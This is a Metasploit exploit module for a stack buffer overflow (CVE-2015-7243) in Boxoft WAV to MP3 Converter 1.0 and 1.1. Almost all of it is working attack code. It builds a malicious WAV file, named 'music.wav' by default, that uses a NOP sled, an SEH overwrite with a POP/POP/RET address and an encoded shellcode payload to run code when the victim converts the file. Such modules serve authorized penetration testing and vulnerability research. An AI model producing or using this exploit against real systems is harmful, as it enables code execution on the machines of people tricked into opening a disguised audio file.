Boxoft WAV to MP3 Converter 1.1 – Buffer Overflow (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "Boxoft WAV to MP3 Converter v1.1 Buffer Overflow", 'Description' => %q{ This module exploits a stack buffer overflow in Boxoft WAV to MP3 Converter versions 1.0 and 1.1. By constructing a specially crafted WAV file and attempting to convert it to an MP3 file in the application, a buffer is overwritten, which allows for running shellcode. }, 'License' => MSF_LICENSE, 'Author' => [ 'Robbie Corley', # EDB POC 'Shelby Pace' # Metasploit Module ], 'References' => [ [ 'CVE', '2015-7243' ], [ 'EDB', '38035' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Boxoft WAV to MP3 Converter v1.1', { 'Ret' => 0x0040144c # P/P/R from wavtomp3.exe (1.1.0.0) } ] ], 'Payload' => { 'BadChars' => "\x00" }, 'Privileged' => false, 'DisclosureDate' => "Aug 31 2015", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The malicious file name', 'music.wav']) ]) end def exploit file_payload = payload.encoded buf = make_fast_nops(4132) buf << "\xeb\x06#{Rex::Text.rand_text_alpha(2, payload_badchars)}" # nseh (jmp to payload) buf << [target.ret].pack("V*") # seh buf << file_payload # Size isn't very sensitive buf << make_fast_nops(5860) file_create(buf) end end |